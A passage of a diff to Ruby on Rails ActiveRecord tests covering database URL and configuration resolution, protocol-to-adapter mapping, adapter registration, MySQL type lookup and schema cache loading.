+        configs = ActiveRecord::DatabaseConfigurations.new(config)
+        configs.configs_for(env_name: env_name, name: "primary")&.configuration_hash
       end
 
-      def resolve_config(config)
-        ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+      def resolve_db_config(spec, config)
+        configs = ActiveRecord::DatabaseConfigurations.new(config)
+        configs.resolve(spec)
+      end
+
+      def test_invalid_string_config
+        config = { "foo" => "bar" }
+
+        assert_raises ActiveRecord::DatabaseConfigurations::InvalidConfigurationError do
+          resolve_config(config)
+        end
       end
 
-      def resolve_spec(spec, config)
-        ConnectionSpecification::Resolver.new(resolve_config(config)).resolve(spec)
+      def test_invalid_symbol_config
+        config = { "foo" => :bar }
+
+        assert_raises ActiveRecord::DatabaseConfigurations::InvalidConfigurationError do
+          resolve_config(config)
+        end
       end
 
       def test_resolver_with_database_uri_and_current_env_symbol_key
         ENV["DATABASE_URL"] = "postgres://localhost/foo"
-        config   = { "not_production" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
-        actual   = resolve_spec(:default_env, config)
-        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost", "name" => "default_env" }
-        assert_equal expected, actual
+        config = { "not_production" => {  "adapter" => "abstract", "database" => "not_foo" } }
+        actual = resolve_db_config(:default_env, config)
+        expected = { adapter: "postgresql", database: "foo", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
       end
 
       def test_resolver_with_database_uri_and_current_env_symbol_key_and_rails_env
         ENV["DATABASE_URL"] = "postgres://localhost/foo"
         ENV["RAILS_ENV"]    = "foo"
 
-        config   = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
-        actual   = resolve_spec(:foo, config)
-        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost", "name" => "foo" }
-        assert_equal expected, actual
+        config = { "not_production" => { "adapter" => "abstract", "database" => "not_foo" } }
+        actual = resolve_db_config(:foo, config)
+        expected = { adapter: "postgresql", database: "foo", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
+      end
+
+      def test_resolver_with_nil_database_url_and_current_env
+        ENV["RAILS_ENV"] = "foo"
+        config = { "foo" => { "adapter" => "postgresql", "url" => ENV["DATABASE_URL"] } }
+        actual = resolve_db_config(:foo, config)
+        expected_config = { adapter: "postgresql" }
+
+        assert_equal expected_config, actual.configuration_hash
       end
 
       def test_resolver_with_database_uri_and_current_env_symbol_key_and_rack_env
         ENV["DATABASE_URL"] = "postgres://localhost/foo"
         ENV["RACK_ENV"]     = "foo"
 
-        config   = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
-        actual   = resolve_spec(:foo, config)
-        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost", "name" => "foo" }
-        assert_equal expected, actual
+        config = { "not_production" => { "adapter" => "abstract", "database" => "not_foo" } }
+        actual = resolve_db_config(:foo, config)
+        expected = { adapter: "postgresql", database: "foo", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
       end
 
       def test_resolver_with_database_uri_and_known_key
         ENV["DATABASE_URL"] = "postgres://localhost/foo"
-        config   = { "production" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
-        actual   = resolve_spec(:production, config)
-        expected = { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost", "name" => "production" }
-        assert_equal expected, actual
+        config = { "production" => { "adapter" => "abstract", "database" => "not_foo", "host" => "localhost" } }
+        actual = resolve_db_config(:production, config)
+        expected = { adapter: "abstract", database: "not_foo", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
+      end
+
+      def test_resolver_with_database_uri_and_multiple_envs
+        ENV["DATABASE_URL"] = "postgres://localhost"
+        ENV["RAILS_ENV"] = "test"
+
+        config = { "production" => { "adapter" => "postgresql", "database" => "foo_prod" }, "test" => { "adapter" => "postgresql", "database" => "foo_test" } }
+        actual = resolve_db_config(:test, config)
+        expected = { adapter: "postgresql", database: "foo_test", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
       end
 
       def test_resolver_with_database_uri_and_unknown_symbol_key
         ENV["DATABASE_URL"] = "postgres://localhost/foo"
-        config = { "not_production" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        config = { "not_production" => {  "adapter" => "abstract", "database" => "not_foo" } }
         assert_raises AdapterNotSpecified do
-          resolve_spec(:production, config)
+          resolve_db_config(:production, config)
         end
       end
 
       def test_resolver_with_database_uri_and_supplied_url
-        ENV["DATABASE_URL"] = "not-postgres://not-localhost/not_foo"
-        config   = { "production" => {  "adapter" => "also_not_postgres", "database" => "also_not_foo" } }
-        actual   = resolve_spec("postgres://localhost/foo", config)
-        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
-        assert_equal expected, actual
+        ENV["DATABASE_URL"] = "abstract://not-localhost/not_foo"
+        config = { "production" => {  "adapter" => "abstract", "database" => "also_not_foo" } }
+        actual = resolve_db_config("postgres://localhost/foo", config)
+        expected = { adapter: "postgresql", database: "foo", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
+      end
+
+      def test_resolver_with_database_uri_containing_only_database_name
+        ENV["DATABASE_URL"] = "foo"
+        ENV["RAILS_ENV"] = "test"
+
+        config = { "test" => { "adapter" => "postgres", "database" => "not_foo", "host" => "localhost" } }
+        actual = resolve_db_config(:test, config)
+        expected = { adapter: "postgres", database: "foo", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
       end
 
       def test_jdbc_url
-        config   = { "production" => { "url" => "jdbc:postgres://localhost/foo" } }
-        actual   = resolve_config(config)
-        assert_equal config, actual
+        config   = { "production" => { "adapter" => "abstract", "url" => "jdbc:postgres://localhost/foo" } }
+        actual   = resolve_config(config, "production")
+        assert_equal config["production"].symbolize_keys, actual
+      end
+
+      def test_http_url
+        config   = { "production" => { "adapter" => "abstract", "url" => "http://example.com/path" } }
+        actual   = resolve_config(config, "production")
+        assert_equal config["production"].symbolize_keys, actual
+      end
+
+      def test_https_url
+        config   = { "production" => { "adapter" => "abstract", "url" => "https://example.com" } }
+        actual   = resolve_config(config, "production")
+        assert_equal config["production"].symbolize_keys, actual
       end
 
       def test_environment_does_not_exist_in_config_url_does_exist
         ENV["DATABASE_URL"] = "postgres://localhost/foo"
-        config      = { "not_default_env" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
-        actual      = resolve_config(config)
-        expect_prod = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
-        assert_equal expect_prod, actual["default_env"]
+        config      = { "not_default_env" => { "adapter" => "abstract", "database" => "not_foo" } }
+        actual      = resolve_config(config, "default_env")
+        expect_prod = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost"
+        }
+
+        assert_equal expect_prod, actual
       end
 
       def test_url_with_hyphenated_scheme
+        ActiveRecord::ConnectionAdapters.register("ibm_db", "ActiveRecord::ConnectionAdapters::AbstractAdapter", "active_record/connection_adapters/abstract_adapter")
         ENV["DATABASE_URL"] = "ibm-db://localhost/foo"
-        config   = { "default_env" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
-        actual   = resolve_spec(:default_env, config)
-        expected = { "adapter" => "ibm_db", "database" => "foo", "host" => "localhost", "name" => "default_env" }
-        assert_equal expected, actual
+        config = { "default_env" => { "adapter" => "abstract", "database" => "not_foo", "host" => "localhost" } }
+        actual = resolve_db_config(:default_env, config)
+        expected = { adapter: "ibm_db", database: "foo", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
       end
 
       def test_string_connection
         config   = { "default_env" => "postgres://localhost/foo" }
-        actual   = resolve_config(config)
-        expected = { "default_env" =>
-                     { "adapter"  => "postgresql",
-                       "database" => "foo",
-                       "host"     => "localhost"
-                      }
-                    }
+        actual   = resolve_config(config, "default_env")
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost"
+        }
+
         assert_equal expected, actual
       end
 
       def test_url_sub_key
         config   = { "default_env" => { "url" => "postgres://localhost/foo" } }
         actual   = resolve_config(config)
-        expected = { "default_env" =>
-                     { "adapter"  => "postgresql",
-                       "database" => "foo",
-                       "host"     => "localhost"
-                      }
-                    }
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost"
+        }
+
+        assert_equal expected, actual
+      end
+
+      def test_url_removed_from_hash
+        config = { "default_env" => { "url" => "postgres://localhost/foo" } }
+        actual = resolve_db_config(:default_env, config)
+
+        assert_not_includes actual.configuration_hash, :url
+      end
+
+      def test_url_with_equals_in_query_value
+        config   = { "default_env" => { "url" => "postgresql://localhost/foo?options=-cmyoption=on" } }
+        actual   = resolve_config(config)
+        expected = { options: "-cmyoption=on", adapter: "postgresql", database: "foo", host: "localhost" }
         assert_equal expected, actual
       end
 
       def test_hash
-        config = { "production" => { "adapter" => "postgres", "database" => "foo" } }
-        actual = resolve_config(config)
-        assert_equal config, actual
+        config = { "production" => { "adapter" => "postgresql", "database" => "foo" } }
+        actual = resolve_config(config, "production")
+        assert_equal config["production"].symbolize_keys, actual
       end
 
       def test_blank
         config = {}
-        actual = resolve_config(config)
-        assert_equal config, actual
+        actual = resolve_config(config, "default_env")
+        assert_nil actual
       end
 
       def test_blank_with_database_url
@@ -138,17 +231,13 @@ def test_blank_with_database_url
 
         config   = {}
         actual   = resolve_config(config)
-        expected = { "adapter"  => "postgresql",
-                     "database" => "foo",
-                     "host"     => "localhost" }
-        assert_equal expected, actual["default_env"]
-        assert_nil actual["production"]
-        assert_nil actual["development"]
-        assert_nil actual["test"]
-        assert_nil actual[:default_env]
-        assert_nil actual[:production]
-        assert_nil actual[:development]
-        assert_nil actual[:test]
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost"
+        }
+
+        assert_equal expected, actual
       end
 
       def test_blank_with_database_url_with_rails_env
@@ -157,20 +246,13 @@ def test_blank_with_database_url_with_rails_env
 
         config   = {}
         actual   = resolve_config(config)
-        expected = { "adapter"  => "postgresql",
-                     "database" => "foo",
-                     "host"     => "localhost" }
-
-        assert_equal expected, actual["not_production"]
-        assert_nil actual["production"]
-        assert_nil actual["default_env"]
-        assert_nil actual["development"]
-        assert_nil actual["test"]
-        assert_nil actual[:default_env]
-        assert_nil actual[:not_production]
-        assert_nil actual[:production]
-        assert_nil actual[:development]
-        assert_nil actual[:test]
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost"
+        }
+
+        assert_equal expected, actual
       end
 
       def test_blank_with_database_url_with_rack_env
@@ -179,20 +261,13 @@ def test_blank_with_database_url_with_rack_env
 
         config   = {}
         actual   = resolve_config(config)
-        expected = { "adapter"  => "postgresql",
-                     "database" => "foo",
-                     "host"     => "localhost" }
-
-        assert_equal expected, actual["not_production"]
-        assert_nil actual["production"]
-        assert_nil actual["default_env"]
-        assert_nil actual["development"]
-        assert_nil actual["test"]
-        assert_nil actual[:default_env]
-        assert_nil actual[:not_production]
-        assert_nil actual[:production]
-        assert_nil actual[:development]
-        assert_nil actual[:test]
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost"
+        }
+
+        assert_equal expected, actual
       end
 
       def test_database_url_with_ipv6_host_and_port
@@ -200,55 +275,230 @@ def test_database_url_with_ipv6_host_and_port
 
         config   = {}
         actual   = resolve_config(config)
-        expected = { "adapter"  => "postgresql",
-                     "database" => "foo",
-                     "host"     => "::1",
-                     "port"     => 5454 }
-        assert_equal expected, actual["default_env"]
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "::1",
+          port: 5454
+        }
+
+        assert_equal expected, actual
       end
 
       def test_url_sub_key_with_database_url
-        ENV["DATABASE_URL"] = "NOT-POSTGRES://localhost/NOT_FOO"
+        ENV["DATABASE_URL"] = "abstract://localhost/NOT_FOO"
 
         config   = { "default_env" => { "url" => "postgres://localhost/foo" } }
         actual   = resolve_config(config)
-        expected = { "default_env" =>
-                    { "adapter" => "postgresql",
-                       "database" => "foo",
-                       "host"     => "localhost"
-                      }
-                    }
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost"
+        }
+
         assert_equal expected, actual
       end
 
+      def test_no_url_sub_key_with_database_url_doesnt_trample_other_envs
+        ENV["DATABASE_URL"] = "postgres://localhost/baz"
+
+        config   = { "default_env" => { "adapter" => "abstract", "database" => "foo" }, "other_env" => { "url" => "postgres://foohost/bardb" } }
+        expected = {
+          default_env: {
+            database: "baz",
+            adapter: "postgresql",
+            host: "localhost"
+          },
+          other_env: {
+            adapter: "postgresql",
+            database: "bardb",
+            host: "foohost"
+          }
+        }
+
+        assert_equal expected[:default_env], resolve_config(config, "default_env")
+        assert_equal expected[:other_env], resolve_config(config, "other_env")
+      end
+
       def test_merge_no_conflicts_with_database_url
         ENV["DATABASE_URL"] = "postgres://localhost/foo"
 
-        config   = { "default_env" => { "pool" => "5" } }
+        config   = { "default_env" => { "adapter" => "abstract", "max_connections" => "5" } }
         actual   = resolve_config(config)
-        expected = { "default_env" =>
-                     { "adapter"  => "postgresql",
-                       "database" => "foo",
-                       "host"     => "localhost",
-                       "pool"     => "5"
-                      }
-                    }
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost",
+          max_connections: "5"
+        }
+
         assert_equal expected, actual
       end
 
       def test_merge_conflicts_with_database_url
         ENV["DATABASE_URL"] = "postgres://localhost/foo"
 
-        config   = { "default_env" => { "adapter" => "NOT-POSTGRES", "database" => "NOT-FOO", "pool" => "5" } }
+        config   = { "default_env" => { "adapter" => "abstract", "database" => "NOT-FOO", "max_connections" => "5" } }
+        actual   = resolve_config(config)
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost",
+          max_connections: "5"
+        }
+
+        assert_equal expected, actual
+      end
+
+      def test_merge_no_conflicts_with_database_url_and_adapter
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+
+        config   = { "default_env" => { "adapter" => "postgresql", "max_connections" => "5" } }
+        actual   = resolve_config(config)
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost",
+          max_connections: "5"
+        }
+
+        assert_equal expected, actual
+      end
+
+      def test_merge_no_conflicts_with_database_url_and_numeric_max_connections
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+
+        config   = { "default_env" => { "adapter" => "abstract", "max_connections" => 5 } }
         actual   = resolve_config(config)
-        expected = { "default_env" =>
-                     { "adapter"  => "postgresql",
-                       "database" => "foo",
-                       "host"     => "localhost",
-                       "pool"     => "5"
-                      }
-                    }
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost",
+          max_connections: 5
+        }
+
+        assert_equal expected, actual
+      end
+
+      def test_tiered_configs_with_database_url
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+
+        config = {
+          "default_env" => {
+            "primary" => { "adapter" => "abstract", "max_connections" => 5 },
+            "animals" => { "adapter" => "abstract", "max_connections" => 5 }
+          }
+        }
+
+        configs = ActiveRecord::DatabaseConfigurations.new(config)
+        actual = configs.configs_for(env_name: "default_env", name: "primary").configuration_hash
+        expected = {
+          adapter: "postgresql",
+          database: "foo",
+          host: "localhost",
+          max_connections: 5
+        }
+
         assert_equal expected, actual
+
+        configs = ActiveRecord::DatabaseConfigurations.new(config)
+        actual = configs.configs_for(env_name: "default_env", name: "animals").configuration_hash
+        expected = { adapter: "abstract", max_connections: 5 }
+
+        assert_equal expected, actual
+      end
+
+      def test_separate_database_env_vars
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+        ENV["PRIMARY_DATABASE_URL"] = "postgres://localhost/primary"
+        ENV["ANIMALS_DATABASE_URL"] = "postgres://localhost/animals"
+
+        config = {
+          "default_env" => {
+            "primary" => { "adapter" => "abstract", "max_connections" => 5 },
+            "animals" => { "adapter" => "abstract", "max_connections" => 5 }
+          }
+        }
+
+        configs = ActiveRecord::DatabaseConfigurations.new(config)
+        actual = configs.configs_for(env_name: "default_env", name: "primary").configuration_hash
+        assert_equal "primary", actual[:database]
+
+        configs = ActiveRecord::DatabaseConfigurations.new(config)
+        actual = configs.configs_for(env_name: "default_env", name: "animals").configuration_hash
+        assert_equal "animals", actual[:database]
+      ensure
+        ENV.delete("PRIMARY_DATABASE_URL")
+        ENV.delete("ANIMALS_DATABASE_URL")
+      end
+
+      def test_does_not_change_other_environments
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+        config = { "production" => { "adapter" => "abstract", "database" => "not_foo", "host" => "localhost" }, "default_env" => {} }
+
+        actual = resolve_db_config(:production, config)
+        assert_equal config["production"].symbolize_keys, actual.configuration_hash
+
+        actual = resolve_db_config(:default_env, config)
+
+        assert_equal({
+          host: "localhost",
+          database: "foo",
+          adapter: "postgresql",
+        }, actual.configuration_hash)
+      end
+
+      def test_protocol_adapter_mapping_is_used
+        ENV["DATABASE_URL"] = "mysql://localhost/exampledb"
+        ENV["RAILS_ENV"] = "production"
+
+        actual = resolve_db_config(:production, {})
+        expected = { adapter: "mysql2", database: "exampledb", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
+      end
+
+      def test_protocol_adapter_mapping_falls_through_if_non_found
+        ENV["DATABASE_URL"] = "unknown://localhost/exampledb"
+        ENV["RAILS_ENV"] = "production"
+
+        actual = resolve_db_config(:production, {})
+        expected = { adapter: "unknown", database: "exampledb", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
+      end
+
+      def test_protocol_adapter_mapping_is_used_and_can_be_updated
+        ActiveRecord.protocol_adapters.potato = "postgresql"
+        ENV["DATABASE_URL"] = "potato://localhost/exampledb"
+        ENV["RAILS_ENV"] = "production"
+
+        actual = resolve_db_config(:production, {})
+        expected = { adapter: "postgresql", database: "exampledb", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
+      end
+
+      def test_protocol_adapter_mapping_translates_underscores_to_dashes
+        ActiveRecord.protocol_adapters.custom_protocol = "postgresql"
+        ENV["DATABASE_URL"] = "custom-protocol://localhost/exampledb"
+        ENV["RAILS_ENV"] = "production"
+
+        actual = resolve_db_config(:production, {})
+        expected = { adapter: "postgresql", database: "exampledb", host: "localhost" }
+
+        assert_equal expected, actual.configuration_hash
+      end
+
+      def test_protocol_adapter_mapping_handles_sqlite3_file_urls
+        ActiveRecord.protocol_adapters.custom_protocol = "sqlite3"
+        ENV["DATABASE_URL"] = "custom-protocol:/path/to/db.sqlite3"
+        ENV["RAILS_ENV"] = "production"
+
+        actual = resolve_db_config(:production, {})
+        expected = { adapter: "sqlite3", database: "/path/to/db.sqlite3" }
+
+        assert_equal expected, actual.configuration_hash
       end
     end
   end
diff --git a/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb
index 3657b8340d6ec..548c59bde7d5d 100644
--- a/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb
+++ b/activerecord/test/cases/connection_adapters/mysql_type_lookup_test.rb
@@ -1,11 +1,20 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/connection_helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class MysqlTypeLookupTest < ActiveRecord::TestCase
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        include ConnectionHelper
 
-if current_adapter?(:Mysql2Adapter)
-  module ActiveRecord
-    module ConnectionAdapters
-      class MysqlTypeLookupTest < ActiveRecord::TestCase
         setup do
-          @connection = ActiveRecord::Base.connection
+          @connection = ActiveRecord::Base.lease_connection
+        end
+
+        def teardown
+          reset_connection
         end
 
         def test_boolean_types
@@ -18,8 +27,12 @@ def test_boolean_types
         def test_string_types
           assert_lookup_type :string, "enum('one', 'two', 'three')"
           assert_lookup_type :string, "ENUM('one', 'two', 'three')"
+          assert_lookup_type :string, "enum ('one', 'two', 'three')"
+          assert_lookup_type :string, "ENUM ('one', 'two', 'three')"
           assert_lookup_type :string, "set('one', 'two', 'three')"
           assert_lookup_type :string, "SET('one', 'two', 'three')"
+          assert_lookup_type :string, "set ('one', 'two', 'three')"
+          assert_lookup_type :string, "SET ('one', 'two', 'three')"
         end
 
         def test_set_type_with_value_matching_other_type
@@ -27,7 +40,7 @@ def test_set_type_with_value_matching_other_type
         end
 
         def test_enum_type_with_value_matching_other_type
-          assert_lookup_type :string, "ENUM('unicode', '8bit', 'none')"
+          assert_lookup_type :string, "ENUM('unicode', '8bit', 'none', 'time')"
         end
 
         def test_binary_types
@@ -45,9 +58,8 @@ def test_integer_types
         end
 
         private
-
           def assert_lookup_type(type, lookup)
-            cast_type = @connection.type_map.lookup(lookup)
+            cast_type = @connection.send(:type_map).lookup(lookup)
             assert_equal type, cast_type.type
           end
 
diff --git a/activerecord/test/cases/connection_adapters/registration_test.rb b/activerecord/test/cases/connection_adapters/registration_test.rb
new file mode 100644
index 0000000000000..762f730553cb8
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/registration_test.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class RegistrationTest < ActiveRecord::TestCase
+      def setup
+        @original_adapters = ActiveRecord::ConnectionAdapters.instance_variable_get(:@adapters).dup
+        ActiveRecord::ConnectionAdapters.instance_variable_get(:@adapters).delete("fake")
+        @fake_adapter_path = File.expand_path("../../support/fake_adapter.rb", __dir__)
+      end
+
+      def teardown
+        ActiveRecord::ConnectionAdapters.instance_variable_set(:@adapters, @original_adapters)
+      end
+
+      test "#register registers a new database adapter and #resolve can find it and raises if it cannot" do
+        exception = assert_raises(ActiveRecord::AdapterNotFound) do
+          ActiveRecord::ConnectionAdapters.resolve("fake")
+        end
+
+        assert_match(
+          /Database configuration specifies nonexistent 'fake' adapter. Available adapters are:/,
+          exception.message
+        )
+
+        ActiveRecord::ConnectionAdapters.register("fake", "FakeActiveRecordAdapter", @fake_adapter_path)
+
+        assert_equal "FakeActiveRecordAdapter", ActiveRecord::ConnectionAdapters.resolve("fake").name
+      end
+
+      test "#register allows for symbol key" do
+        exception = assert_raises(ActiveRecord::AdapterNotFound) do
+          ActiveRecord::ConnectionAdapters.resolve("fake")
+        end
+
+        assert_match(
+          /Database configuration specifies nonexistent 'fake' adapter. Available adapters are:/,
+          exception.message
+        )
+
+        ActiveRecord::ConnectionAdapters.register(:fake, "FakeActiveRecordAdapter", @fake_adapter_path)
+
+        assert_equal "FakeActiveRecordAdapter", ActiveRecord::ConnectionAdapters.resolve("fake").name
+      end
+
+      test "#resolve allows for symbol key" do
+        exception = assert_raises(ActiveRecord::AdapterNotFound) do
+          ActiveRecord::ConnectionAdapters.resolve("fake")
+        end
+
+        assert_match(
+          /Database configuration specifies nonexistent 'fake' adapter. Available adapters are:/,
+          exception.message
+        )
+
+        ActiveRecord::ConnectionAdapters.register("fake", "FakeActiveRecordAdapter", @fake_adapter_path)
+
+        assert_equal "FakeActiveRecordAdapter", ActiveRecord::ConnectionAdapters.resolve(:fake).name
+      end
+    end
+
+    class RegistrationIsolatedTest < ActiveRecord::TestCase
+      include ActiveSupport::Testing::Isolation
+
+      def setup
+        @original_adapters = ActiveRecord::ConnectionAdapters.instance_variable_get(:@adapters).dup
+      end
+
+      test "#resolve raises if the adapter is using the pre 7.2 adapter registration API" do
+        exception = assert_raises(ActiveRecord::AdapterNotFound) do
+          ActiveRecord::ConnectionAdapters.resolve("fake_legacy")
+        end
+
+        assert_equal(
+          "Database configuration specifies nonexistent 'fake_legacy' adapter. Available adapters are: abstract, fake, mysql2, postgresql, sqlite3, trilogy. Ensure that the adapter is spelled correctly in config/database.yml and that you've added the necessary adapter gem to your Gemfile if it's not in the list of available adapters.",
+          exception.message
+        )
+      ensure
+        ActiveRecord::ConnectionAdapters.instance_variable_get(:@adapters).delete("fake_legacy")
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/schema_cache_test.rb b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
index 106323ccc9664..2b4d378482c2d 100644
--- a/activerecord/test/cases/connection_adapters/schema_cache_test.rb
+++ b/activerecord/test/cases/connection_adapters/schema_cache_test.rb
@@ -1,98 +1,504 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "active_support/core_ext/object/with"
 
 module ActiveRecord
   module ConnectionAdapters
     class SchemaCacheTest < ActiveRecord::TestCase
+      self.use_transactional_tests = false
+
       def setup
-        connection = ActiveRecord::Base.connection
-        @cache     = SchemaCache.new connection
+        @deduplicable_registries_were = deduplicable_classes.index_with do |klass|
+          klass.registry.dup
+        end
+        @pool = ARUnit2Model.connection_pool
+        @connection = ARUnit2Model.lease_connection
+        @cache = new_bound_reflection
       end
 
-      def test_primary_key
-        assert_equal "id", @cache.primary_keys("posts")
+      def teardown
+        @deduplicable_registries_were.each do |klass, registry|
+          klass.registry.clear
+          klass.registry.merge!(registry)
+        end
       end
 
-      def test_yaml_dump_and_load
-        @cache.columns("posts")
-        @cache.columns_hash("posts")
-        @cache.data_sources("posts")
-        @cache.primary_keys("posts")
+      def new_bound_reflection(filename = nil)
+        BoundSchemaReflection.new(SchemaReflection.new(filename), @pool)
+      end
 
-        new_cache = YAML.load(YAML.dump(@cache))
-        assert_no_queries do
-          assert_equal 11, new_cache.columns("posts").size
-          assert_equal 11, new_cache.columns_hash("posts").size
-          assert new_cache.data_sources("posts")
-          assert_equal "id", new_cache.primary_keys("posts")
+      def load_bound_reflection(filename)
+        reset_deduplicable!
+        new_bound_reflection(filename).tap do |cache|
+          cache.load!
+        end
+      end
+
+      def deduplicable_classes
+        klasses = [
+          ActiveRecord::ConnectionAdapters::SqlTypeMetadata,
+          ActiveRecord::ConnectionAdapters::Column,
+        ]
+
+        if defined?(ActiveRecord::ConnectionAdapters::PostgreSQL)
+          klasses << ActiveRecord::ConnectionAdapters::PostgreSQL::TypeMetadata
+        end
+        if defined?(ActiveRecord::ConnectionAdapters::MySQL::TypeMetadata)
+          klasses << ActiveRecord::ConnectionAdapters::MySQL::TypeMetadata
+        end
+
+        klasses.flat_map do |klass|
+          [klass] + klass.descendants
+        end.uniq
+      end
+
+      def reset_deduplicable!
+        deduplicable_classes.each do |klass|
+          klass.registry.clear
+        end
+      end
+
+      def test_cached?
+        cache = new_bound_reflection
+        assert_not cache.cached?("courses")
+
+        cache.columns("courses").size
+        assert cache.cached?("courses")
+
+        Tempfile.create(["schema_cache-", ".yml"]) do |tempfile|
+          cache.dump_to(tempfile.path)
+
+          reset_deduplicable!
+
+          reflection = SchemaReflection.new(tempfile.path)
+
+          # `check_schema_cache_dump_version` forces us to have an active connection
+          # to load the cache.
+          assert_not reflection.cached?("courses")
+
+          # If we disable it we can load the cache
+          SchemaReflection.with(check_schema_cache_dump_version: false) do
+            assert reflection.cached?("courses")
+
+            cache = BoundSchemaReflection.new(reflection, :__unused_pool__)
+            assert cache.cached?("courses")
+          end
         end
       end
 
+      def test_cache_path_can_be_in_directory
+        cache = new_bound_reflection
+        tmp_dir = Dir.mktmpdir
+        filename = File.join(tmp_dir, "schema.json")
+
+        assert_not File.exist?(filename)
+        assert cache.dump_to(filename)
+        assert File.exist?(filename)
+      ensure
+        FileUtils.rm_r(tmp_dir)
+      end
+
       def test_yaml_loads_5_1_dump
-        body = File.open(schema_dump_path).read
-        cache = YAML.load(body)
+        cache = load_bound_reflection(schema_dump_5_1_path)
 
         assert_no_queries do
           assert_equal 11, cache.columns("posts").size
           assert_equal 11, cache.columns_hash("posts").size
-          assert cache.data_sources("posts")
+          assert cache.data_source_exists?("posts")
           assert_equal "id", cache.primary_keys("posts")
         end
       end
 
+      def test_yaml_loads_5_1_dump_without_indexes_still_queries_for_indexes
+        cache = load_bound_reflection(schema_dump_5_1_path)
+
+        assert_queries_count(include_schema: true) do
+          assert_equal 1, cache.indexes("courses").size
+        end
+      end
+
+      def test_yaml_load_8_0_dump_without_cast_type_still_get_the_right_one
+        cache = load_bound_reflection(schema_dump_8_0_path)
+
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_queries_count(include_schema: true) do
+            columns = cache.columns_hash("courses")
+            assert_equal 3, columns.size
+            cast_type = columns["name"].fetch_cast_type(@connection)
+            assert_not_nil cast_type, "expected cast_type to be present"
+            assert_equal :string, cast_type.type
+          end
+        else
+          assert_no_queries do
+            columns = cache.columns_hash("courses")
+            assert_equal 3, columns.size
+            cast_type = columns["name"].fetch_cast_type(@connection)
+            assert_not_nil cast_type, "expected cast_type to be present"
+            assert_equal :string, cast_type.type
+          end
+        end
+      end
+
+      def test_primary_key_for_existent_table
+        assert_equal "id", @cache.primary_keys("courses")
+      end
+
       def test_primary_key_for_non_existent_table
         assert_nil @cache.primary_keys("omgponies")
       end
 
-      def test_caches_columns
-        columns = @cache.columns("posts")
-        assert_equal columns, @cache.columns("posts")
+      def test_columns_for_existent_table
+        assert_equal 3, @cache.columns("courses").size
+      end
+
+      def test_columns_for_non_existent_table
+        assert_raises ActiveRecord::StatementInvalid do
+          @cache.columns("omgponies")
+        end
+      end
+
+      def test_columns_hash_for_existent_table
+        assert_equal 3, @cache.columns_hash("courses").size
+      end
+
+      def test_columns_hash_for_non_existent_table
+        assert_raises ActiveRecord::StatementInvalid do
+          @cache.columns_hash("omgponies")
+        end
+      end
+
+      def test_indexes_for_existent_table
+        assert_equal 1, @cache.indexes("courses").size
       end
 
-      def test_caches_columns_hash
-        columns_hash = @cache.columns_hash("posts")
-        assert_equal columns_hash, @cache.columns_hash("posts")
+      def test_indexes_for_non_existent_table
+        assert_equal [], @cache.indexes("omgponies")
       end
 
       def test_clearing
-        @cache.columns("posts")
-        @cache.columns_hash("posts")
-        @cache.data_sources("posts")
-        @cache.primary_keys("posts")
+        @cache.columns("courses")
+        @cache.columns_hash("courses")
+        @cache.data_source_exists?("courses")
+        @cache.primary_keys("courses")
+        @cache.indexes("courses")
 
         @cache.clear!
 
         assert_equal 0, @cache.size
       end
 
